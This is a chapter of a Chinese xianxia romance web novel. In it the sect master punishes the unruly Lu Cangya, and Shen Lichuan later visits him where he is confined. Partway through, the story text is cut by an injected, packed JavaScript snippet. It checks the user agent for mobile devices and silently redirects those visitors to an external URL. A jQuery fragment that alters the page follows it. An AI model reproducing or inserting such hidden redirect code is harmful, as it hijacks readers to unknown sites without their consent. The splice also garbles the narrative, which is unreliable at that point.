陆藏鸦好似恢复了几分神智,懵懵地回抱住了沈黎川的身体。
他能感受到沈黎川是怕他的,乃至于身子都有些微微战栗,可还是没有松开他。
“阿黎?”他轻唤了一声,噘着嘴一副委屈模样,“他说你,说得好生难听,我没忍住。”
“没事了。”沈黎川顺着他的头发,一下又一下。
陆重山也下了高台,到了陆藏鸦的身侧。他看着沈黎川的目光多了几分审视与不可置信,感知了一番陆藏鸦的气息变化,确认稳定后,才捋了一把胡子说:“你二人,同我来。”
他给了押着那人的弟子一个眼神,示意查清楚此人究竟是如何混进来的。更有人即刻安排着止住了话头,莫让此事传出仙羽宗去。
陆藏鸦一路挂在沈黎川身上,是被沈黎川半拖半抱着带回了重玄峰的前厅。
一入内,陆重山便厉声道:“跪下!”
沈黎川当即就垂首跪在了他的面前,脊背虽仍是挺得笔直,可指尖不自觉地捏紧了衣角。
陆藏鸦却是噘着嘴,一屁股坐在地上耍赖,伸手还妄图将沈黎川一把拽起来:“我不要!阿黎也不许跪。本就是他胡乱说话编排我和阿黎,怎么又成了我的错处?”
陆重山重重地拍了一下扶手,强压着怒气道:“我是不是说过,你不许随意用法诀?你用了自己是何模样,自己不知道吗?”
陆藏鸦一脸的不服气,“哼”了一声:“您说我不许对凡人动手,他又不是!而且本就是他先说我的,我平日里脾气可好了。不信你问阿黎,他也能给我证明,旁人说我什么我都当未曾听见的,可这回他挑衅我!欺负到我头上了,难道还要忍着吗?”
“你还知道上什么叫做挑衅了?”陆重山气的瞪眼,看见一边沈黎川虽被他拽着,但仍跪得笔直,气消了不少,“你知不知道今日是什么场面?你知不知道自己若是在这时候提剑将人杀了,会落个什么名头?你就罢了,若是传出去了,仙羽宗如何自处?”
“还有,这人什么来历?怎么混入的仙羽宗,都未曾查明,你就这么稀里糊涂地将他弄死?”他叹了口气,“到时候怎么办?难不成还要我往他身上扣一顶私通魔族的帽子,让我这老脸往哪搁?”
“我、我又听不懂,我是痴的嘛!”陆藏鸦这会儿倒是认可上了,“我脑子又不好使,如何能分辨?我就知道他说话我不开心了。”
抬眼一看陆重山气到脸红的模样,他梗着脖子的劲儿倏地收了收,低低的“哦”了一声,嘀咕着:“好吧好吧。那也怪他,顶多……顶多下次我不用法诀,我直接用灵气扇他一巴掌好了,或是我提到宗门外面去杀好了。”
“那是个人!你怎么张口闭口就是杀不杀的?你分明还是不知错!”陆重山又是一口气差点没上来,自知自己同他再说什么也是徒劳,立马挥挥手吩咐道,“去,将陆长老关到孙长老的炼丹房去。我禁制下了三日,不许放他出来。”
陆藏鸦显然被关得次数多了,跟着那几个弟子身后便走了。只是三步两回头地看向沈黎川方向,见沈黎川连个眼神都未曾施舍给他,又耷拉下了眼眸。
陆重山见他走远,又鼻腔里哼出一声:“你倒是待得住,他是你道侣,你愣是一句为他求情的话也无?”
“但凭师父做主。”沈黎川不卑不亢道。
陆重山当真被这二人气的没脾气了,叹了口气道:“小痴他……生下来并非如此的,那时候他可谓是天之骄子,粉雕玉琢般的小娃娃又天赋异禀,谁人见了都喜欢。可百年前那场妖魔大战,他亲生父母以身殉道都不够,甚至……还想将他也献祭给天道,来平息那场灾祸。我只来得及救下他的命,但他的命魂却是丢了,才似如今这般又疯又傻。”
“谁曾想,他的天资在他失去命魂后,竟愈发好了。只是脑中没点辨别人事的能力,也不是故意的,是他用了法诀,容易被控制情绪,像疯魔了一般。”
“只是平日里他若是真的疯起来,没半个时辰是停不下来的。可今日你却须臾间就制止住了他,你和他——”他话音一顿,“当真是相和,他也真是过分在意你。算了……你且先回朝霖峰去吧,此事莫要乱传。”
命魂即为幽精,三魂七魄里极为重要的一魂,主掌情感与欲望。
人若失去了,轻则如陆藏鸦这般不通世事,重则便如行尸走肉,毫无生气。
沈黎川起了身,拱手行礼,规规矩矩地要出门口时,忽而又恭敬问道:“师父,敢问孙长老的炼丹房在何处?我……想去陪陪他。”
“那一座。”陆重山抬手指了指远处。
沈黎川一路恭顺地问到了炼丹房所在,远远地就听见陆藏鸦叽叽喳喳不知在和谁人说话的声音。在自己靠近之时,又戛然而止。
“咦?阿黎,是你吗?”陆藏鸦兴冲冲地从窗边露出头来。
他被陆重山的禁制禁锢在了炼丹房里面,出不来,但是外面的场景他还是瞧得见的。
“嗯。你怎知是我?”沈黎川并未完全上前,只站定在三步之外,遥遥地看着陆藏鸦。
陆藏鸦笑得憨直:“你的脚步声我记得,气息我也知道。你就是三里远外,我也知道那是你。阿黎,你靠近些嘛!这里面热得很,我体质本就燥,每次宗主都把我关到这里面惩罚我,都把我关来这。但你不一样,你过来肯定会周身舒爽的!”
“哦,对诶!”他似是忽而想起了什么一般,“热气对你好,我记得朝霖峰山尖尖上有一汪温泉。明日……明日不行,得等我被放出去了,我就将其引下来,引到院子里。那是灵池水,肯定对你大有帮助的。”
“还有丹药,你不要再吃了,我找点灵草给你煮水喝吧。我好怕你再吐血呢!”
“折妄被宗主扣下了,他每次一生气,就要把我和折妄分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918094|213384||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开。对了阿黎,等你的身子再好些了,我们一同去给你寻柄本命剑来吧。希望那会儿,宗主许就你我二人下山。”
他絮絮叨叨了好久,才察觉沈黎川竟是一直一言不发。
他有些丧气地低下了头:“阿黎你别生气,我不是故意要对他动手的。”
“我没生气。”沈黎川站近了许多,“我想说……谢谢。”
那人他识得的,落英派的一个关系户,是掌门的某七拐八绕的亲戚。平日里呼三喝四,最是看不上他们这群炉鼎了。今日被陆藏鸦吓成这般,当真是大快人心。
“不用不用不用!”陆藏鸦头摇得像拨浪鼓,“阿黎你不要跟我说谢谢,这是我活该的……诶,应得的,也不对。算了,不管了!”
他似是站累了,搬了个圆凳跪在上面,撑着下颌隔着结界和沈黎川聊天。
大多都是他说三句,沈黎川能给个回应,可这也叫他开心坏了,扬起的唇角就未曾落下过。
红日西斜,落霞余晖给炼丹房镀上一层淡淡的金光。
陆藏鸦长长地打了个哈欠,揉了揉自己酸胀的眼睛:“阿黎,你陪了我许久了,你快回去睡吧。我过两日就能出来了!你等等我,我回去给你挖温泉。”
“嗯。”沈黎川没多拒绝,只问,“你到底为什么会喜欢我?”
没了命魂的人,不是没了感情吗?又如何知晓什么叫做喜欢呢?
陆藏鸦被他问得一怔。他脑子不大好,可也记得分明前几日,他就回答过了呀!
可他只当沈黎川还想再听一次,又认认真真地作答:“我其实不知道的,我就是想要亲近你,挨着你我便觉得舒服。我有一次下山,听过他们戏折子里面唱的,这便是喜欢了。而且,那出戏里还唱了,喜欢一个人就要护着他、守着他,有福一起享,有祸一起闯的。”
他抿了抿唇,语气中充满希冀:“有朝一日,阿黎也会喜欢我的,对吗?”
沈黎川的手隔着虚空的结界,似是想要碰触到陆藏鸦的发丝。他却头一伸,蹭了蹭沈黎川的掌心。
沈黎川像是被烫到般,倏地抽回了手:“我先回去了,你好生呆着。明日……我带桂花糕来给你吃。”
“好呀!我等你。”
望着沈黎川离去的背影,陆藏鸦抿抿唇,自顾自地寻了个最凉快的角落躺下。
像沈黎川没来之前的朝霖峰,无论做什么事,都只剩下他一人而已。
但阿黎在等他回去呢!他定要好生表现,让宗主早日将他放出来。
想着,他干脆盘腿打坐,顺着自己的灵气,让其在身体里行了一个大周天。果真和沈黎川在一处久了,他久淤的灵脉似是也有被冲开的迹象了。
就在他准备将灵气归于意识海中之时,却听炼丹房外一声极轻的脚步,一个黑影一闪而逝。
他立马起身,冲至窗边:“谁?!”